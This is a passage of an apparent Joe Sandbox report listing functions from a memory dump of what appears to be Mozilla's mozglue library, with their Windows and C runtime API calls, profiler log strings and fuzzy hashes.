memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CABB61E), ref: 6CABB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB79A

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: dd5d4deb1e38f4d0924b5a30c634335697e03d3cc6d2a51294c551e9faa37ec9
Instruction ID: b5a64d86380a50bcd299a4ff30b474e36c30e827bfc00bb9f43aa19a1fff3201
Opcode Fuzzy Hash: dd5d4deb1e38f4d0924b5a30c634335697e03d3cc6d2a51294c551e9faa37ec9
Instruction Fuzzy Hash: B041B2B2D001159FCB10DF69EC806AFB7B9FB54324B290629E825E7780E731E98487D1

Function 6CABEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CB35104), ref: 6CABEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CABEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CABEFEC
free.MOZGLUE(?), ref: 6CABF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CABF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CABF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABF065
moz_xmalloc.MOZGLUE ref: 6CABF072

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 70b7e362ca3ff2bc366245d7f10e31529e9a035081ec639762a5111342713b8e
Instruction ID: 0b2a147c25070b36fde45409bab1d527e1c07b9f9f068433a7e2eb275f0fa73f
Opcode Fuzzy Hash: 70b7e362ca3ff2bc366245d7f10e31529e9a035081ec639762a5111342713b8e
Instruction Fuzzy Hash: B541D3B5A002059FDB18CF78DC809BF7769AF84324B28062CE815DB7A4FB31E95587E1

Function 6CB2B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB2B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB2B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB2B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB2B5F4
__Init_thread_footer.LIBCMT ref: 6CB2B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB2B61F
std::_Facet_Register.LIBCPMT ref: 6CB2B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2B655

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 6050d2448bc8844dce37bb65278e8b3c351417e48280de360c0aad198306da3f
Instruction ID: d5869c2e31190bc4b4e27a0a7c25b3725e87e5fc3917da3ae1fe3b2e6df67c8c
Opcode Fuzzy Hash: 6050d2448bc8844dce37bb65278e8b3c351417e48280de360c0aad198306da3f
Instruction Fuzzy Hash: D431AF71B002548BCB11EF69C8589AEB7B5FB8A325B14059AD90A97740DF34AC46CB92

Function 6CACB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB0CC83,?,?,?,?,?,?,?,?,?,6CB0BCAE,?,?,6CAFDC2C), ref: 6CACB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB0CC83,?,?,?,?,?,?,?,?,?,6CB0BCAE,?,?,6CAFDC2C), ref: 6CACB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CB0CC83,?,?,?,?,?,?,?,?,?,6CB0BCAE), ref: 6CACB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CB0CC83,?,?,?,?,?,?,?,?,?,6CB0BCAE,?,?,6CAFDC2C), ref: 6CACB896

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 4e2744e0d07439b1b5d6a1b63ae362ce79528969c3099074a23975d4e7b91592
Instruction ID: 0e74f1a887a9a9cc02704c052520d4b854486aadf2704803a60721ac64ce746e
Opcode Fuzzy Hash: 4e2744e0d07439b1b5d6a1b63ae362ce79528969c3099074a23975d4e7b91592
Instruction Fuzzy Hash: 0B519A357006048FCB25CF58D4D8A2ABBF5FF88318B69865DE98A97395C732EC41CB81

Function 6CB01D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB01D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB01BE3,?,?,6CB01D96,00000000), ref: 6CB01D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB01BE3,?,?,6CB01D96,00000000), ref: 6CB01D4C
GetCurrentThreadId.KERNEL32 ref: 6CB01DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB01DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB01DDA

Part of subcall function 6CB01EF0: GetCurrentThreadId.KERNEL32 ref: 6CB01F03
Part of subcall function 6CB01EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB01DF2,00000000,00000000), ref: 6CB01F0C
Part of subcall function 6CB01EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB01F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB01DF4

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 6957d35e98bf5058bf1b1eb71b38cbbe4139161601dc60fec0c506f7f2c04078
Instruction ID: b8fb95ff503a85780a3e67d3827cb15cbfee000147c47f8c31a5101c23877dfc
Opcode Fuzzy Hash: 6957d35e98bf5058bf1b1eb71b38cbbe4139161601dc60fec0c506f7f2c04078
Instruction Fuzzy Hash: 534178B52007149FCB24DF28C488A5ABBF9FF89318F14452EE99A87B41CB31F854CB91

Function 6CAC38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB3E220,?,?,?,?,6CAC3899,?), ref: 6CAC38B2
ReleaseSRWLockExclusive.KERNEL32(6CB3E220,?,?,?,6CAC3899,?), ref: 6CAC38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CAC3899,?), ref: 6CAC38F1
RtlFreeHeap.NTDLL ref: 6CAC3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CAC3899,?), ref: 6CAC392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CAC3899,?), ref: 6CAC3943
RtlFreeHeap.NTDLL ref: 6CAC396E

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: b6e1a794ea5e48e46fa536e3a168345f356acb277a0695ccd3d02abfa220676e
Instruction ID: 83744267eaa19f090f05958d2e9e3049440bdcb82de310cef0db54fdb1d8e8c5
Opcode Fuzzy Hash: b6e1a794ea5e48e46fa536e3a168345f356acb277a0695ccd3d02abfa220676e
Instruction Fuzzy Hash: 16212372701610DFE720DF55C884BDAB7B8EF44328F258429D99E97B00C734E885CB91

Function 6CAF84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF85AC

Part of subcall function 6CAF7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAF85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF767F
Part of subcall function 6CAF7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAF85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF7693
Part of subcall function 6CAF7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAF85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF85B2

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 56cec2c8bb0c277ee4ed675c31cbcb2947ae4b55d107aa5f1308b59bc4c24c5d
Instruction ID: 24f2d7681d9d7515ae72b3ee427b0ee3b4c7267a0e650000f427285e8a9d266e
Opcode Fuzzy Hash: 56cec2c8bb0c277ee4ed675c31cbcb2947ae4b55d107aa5f1308b59bc4c24c5d
Instruction Fuzzy Hash: 4621EF752006018FDB24DB25D888A5AB7B9BF4130DF18092CE56FC3B41DB34F889CB40

Function 6CAC1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAC1699
VerSetConditionMask.NTDLL ref: 6CAC16CB
VerSetConditionMask.NTDLL ref: 6CAC16D7
VerSetConditionMask.NTDLL ref: 6CAC16DE
VerSetConditionMask.NTDLL ref: 6CAC16E5
VerSetConditionMask.NTDLL ref: 6CAC16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAC16F9

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: b782998eac74517dd470005a455976667558a626fded2c539634aff7bffe8de8
Instruction ID: 02d50fc9c97287c7a7306f3ebc81ff6a9f1dbe8c9babb773eb7efc3e923a42cf
Opcode Fuzzy Hash: b782998eac74517dd470005a455976667558a626fded2c539634aff7bffe8de8
Instruction Fuzzy Hash: 4221A5B0740248ABFB215B689C49FFF73BCDF96704F044528F6499B580D6789D54C7A1

Function 6CAFF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAFF598), ref: 6CAFF621

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFF637
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000,?,6CAFF598), ref: 6CAFF645
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000,?,6CAFF598), ref: 6CAFF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAFF62A

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 090a960ba2a7b3c641fa53759b933fbf186d1b20fe0d99bb9de0e9ddf1d30184
Instruction ID: 1ed9e06a32ea6807e17da009c1468d3f58220e1e86f781f30650da5d13b02348
Opcode Fuzzy Hash: 090a960ba2a7b3c641fa53759b933fbf186d1b20fe0d99bb9de0e9ddf1d30184
Instruction Fuzzy Hash: FB11E735201614ABDB14AF28C9449ED77B9FB86369B100459FA1983F41CB71AC1ACBA0

Function 6CAC1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CAC1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CAC1FFD
__Init_thread_footer.LIBCMT ref: 6CAC2011
FreeLibrary.KERNEL32 ref: 6CAC2059

Strings

CoCreateInstance, xrefs: 6CAC1FF7
combase.dll, xrefs: 6CAC1FD9

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9e9723bfaf9e5c6d0405d2721850c2e137cb59ef02b6c41c710f5b1503519ecc
Instruction ID: e73666753a7dc6cc6b0d6526e9ef98e581e45584b8d12ce41423248d0c1c498c
Opcode Fuzzy Hash: 9e9723bfaf9e5c6d0405d2721850c2e137cb59ef02b6c41c710f5b1503519ecc
Instruction Fuzzy Hash: 60113A79B41254AFDF20DF15C94AE9E3B79EB4A369F05416AE90983640C7319C84CFB1

Function 6CAC0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CAED9F0,00000000), ref: 6CAC0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAC0F3C
__Init_thread_footer.LIBCMT ref: 6CAC0F50
FreeLibrary.KERNEL32(?,6CAED9F0,00000000), ref: 6CAC0F86

Strings

combase.dll, xrefs: 6CAC0F18
CoInitializeEx, xrefs: 6CAC0F36

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 6aed25ca7cc9f54743b0986baa7a6815ace67815a7f82770aa2e17dd7eee0d79
Instruction ID: 9c65ffd2f3bc676bcd129602b509f0b013354e837d1ebaa84e569eb4279498a8
Opcode Fuzzy Hash: 6aed25ca7cc9f54743b0986baa7a6815ace67815a7f82770aa2e17dd7eee0d79
Instruction Fuzzy Hash: 331186B5705290ABDF20DF58CA08E4E3BB5F74B326F054659E90D93780D730DC85CAA6

Function 6CAFF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF561

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFF577
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF585
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CAFF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CAFF499
[I %d/%d] profiler_resume, xrefs: 6CAFF239
[I %d/%d] profiler_pause_sampling, xrefs: 6CAFF3A8

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 14b9b45de87e8f5bc6c7fc50f04292da8bed47329b23f1b0aa8ca0bef1725a67
Instruction ID: f20a369f63224af068ce4d4ec462eee652691c270b9c1db4a3b628285dfe5b7e
Opcode Fuzzy Hash: 14b9b45de87e8f5bc6c7fc50f04292da8bed47329b23f1b0aa8ca0bef1725a67
Instruction Fuzzy Hash: A8F0E976200624AFEF106F68DD4896E77BCEB863ADF000455FA0D83746CB314C0ACB60

Function 6CAFF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAFF598), ref: 6CAFF621

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFF637
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000,?,6CAFF598), ref: 6CAFF645
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8,?,?,00000000,?,6CAFF598), ref: 6CAFF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAFF62A

Memory Dump Source

